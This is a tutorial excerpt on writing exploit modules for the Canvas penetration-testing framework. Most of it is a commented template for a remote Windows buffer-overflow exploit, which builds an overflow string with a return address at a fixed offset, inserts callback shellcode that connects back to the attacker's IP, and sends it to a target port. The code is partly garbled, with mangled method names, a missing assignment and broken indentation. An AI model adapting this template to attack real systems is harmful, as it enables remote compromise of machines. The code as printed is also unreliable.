Writing Exploits for Canvas

Canvas is a good framework for exploit creation and testing because it provides several tools (such as for payload creation and protocol structure) while leaving you the full flexibility of a Python script. The easiest way to write Canvas modules is by looking at existing modules. Find an attack module similar to what you want to do (FTP, HTTP, MsRPC, SunRPC) and modify it to achieve the new attack. To integrate it correctly in the GUI, your exploits must be placed in /[canvas path]/exploits/[exploit name]/[exploit name].py.

Here's a commented Canvas template to explain the lines of code and illustrate how an exploit is written:

#!/usr/bin/env python
#
# Canvas Simple exploit template
#
#http://www.immunityinc.com/CANVAS/ for more information

import sys
# Import needed library

sys.path.append(".")
sys.path.append("../../")
sys.path.append('../../encoder')
sys.path.append('./encoder')
sys.path.append("../../shellcode")
sys.path.append("./shellcode")
sys.path.append("../../gui")
sys.path.append("./gui")
import os,getopt
import socket
from exploitutils import *
import addencoder
import win32shell
from tcpexploit import tcpexploit
import canvasengine
from canvasengine import socket_save_list
import time
import shellcodeGenerator

## Description of the exploit.
NAME="Template exploit"
DESCRIPTION="A template exploit for the canvas framework"
DOCUMENTATION={}
DOCUMENTATION["Repeatability"]="This is a one shot exploit."
VERSION="1.0"
GTK2_DIALOG="dialog.glade2"

# Property table.. telling what kind is this module what it does affect.
PROPERTY = {}
PROPERTY['TYPE'] = "Exploit"
PROPERTY['SITE'] = "Remote"
PROPERTY['ARCH'] = [ ["Windows"] ]
PROPERTY['VERSION'] = [ "NT", "2000", "XP", "2003" ]
NOTES="""
A Template for creating Canvas exploit module.
"""
CHANGELOG="""
"""
runAnExploit_gtk2=canvasengine.runAnExploit_gtk2
runExploit=canvasengine.runExploit

class theexploit(tcpexploit):
def __init_  _(self):
  tcpexploit.__init_  _(self)

  self.port=41524 #destination port
  self.host=""
  self.shellcode="\xcc" * 298 # initialize shell code string.
  self.badstring="\x00" # List of char not allowed in the final shellcode
  self.ssl=0 # is it over SSL
  self.setVersions(  )
  self.version=
  self.name=NAME
  return

def displayVersions(self):
  for v in self.versions.keys(  ):
    print "Version %d: %s"%(v,self.versions[v][0])

# Define all the different affected versions and the need address.
def setVersions(self):
  self.versions={}
# Operation Name & version, jmp esp
  self.versions[1]=("Windows 2000 sp2",0x20c01496)
  self.versions[2]=("Windows 2000 sp4",0xdeadbeef)


# Define the type of OS on the target, for the multi stage call back.
def neededListenerTypes(self):
  return [canvasengine.WIN32MOSDEF]
# Create the shellcode given the parameter.
def createShellcode(self):
  host=self.callback.ip # the call back ip (you)
  port=self.callback.port # The call back port
  return self.createWin32Shellcode(self.badstring,host,port)

def test(self):
"""
This section is used to do a test run of the exploit without actually sending a valid
payload
It could be banner check or behavior check to ensure that we are going to attack a vul
nerable target
"""
  self.host=self.target.interface
  self.port=int(self.argsDict.get("port",self.port))
  self.log("%s testing host %s:%s"%(self.name,self.host,self.port))
  s=self.getudpsock(  )
  s.set_timeout(4)
  try:
    s.connect((self.host, self.port))
  except:
    self.log("No connection could be established")
    return 0

  s.send("AAAA") # send a payload that should return a banner or any feedback
  try:
  data=s.recv(100)
  except timeoutsocket.Timeout,m:
    self.log("Nothing returned - but we'll assume vulnerable! ")
    self.version=1 #default version
    return 1
  except:
    self.log("Connection refused")
    return 0
  self.log("Received: %s"%prettyprint(data))
  self.version=1 #default version
  return 1

def run(self):
"""
Sending the exploit. This part need to be crafted to ensure that the attack string wil
l reach its destination.
"""
  self.host=self.target.interface
  self.port=int(self.argsDict.get("port",self.port))
  self.setInfo("%s attacking %s:%d (in progress)"%(NAME,self.host,self.port))

"""
This next if is used for automatic versioning of the exploit, either by banner check o
r other means.
"""
  if self.version==0:
    self.log("Automatic versioning not enabled.")
    self.setInfo("%s attacking %s:%d - done (success!)"%(NAME,self.host,self.port))
    return 0

  self.log("Attacking %s:%d"%(self.host,self.port))
  sploitstring=self.makesploit(  )

  s=self.getudpsock(  )
  s.connect((self.host, self.port))
  s.send(sploitstring) # send the exploit string.
  time.sleep(2)
  if self.ISucceeded(  ):
    self.setInfo("%s attacking %s:%d - done (success!)"%(NAME,self.host,self.port))
    return 1
  else:
    self.setInfo("%s attacking %s:%d - done (failed)"%(NAME,self.host,self.port))
    return 0

def makesploit(self):
"""
Construct the attack string that will trigger the bug.
"""
  geteip=self.versions[self.version][1]
  ret="A"*4096
  ret=stroverwrite(ret,intel_order(geteip),968) #place eip in the string
  ret=stroverwrite(ret,self.shellcode,1100) # insert the shellcode in the string.
  if len(ret)>4096:
    self.log("Shellcode too long! len(ret)=%d"%(len(ret)))
    ret="" #no overflow.

  return ret

if __name__ == '__main_  _':
  print "Running CANVAS %s Exploit v %s"%(DESCRIPTION,VERSION)
  app = theexploit(  )
  ret=standard_callback_commandline(app)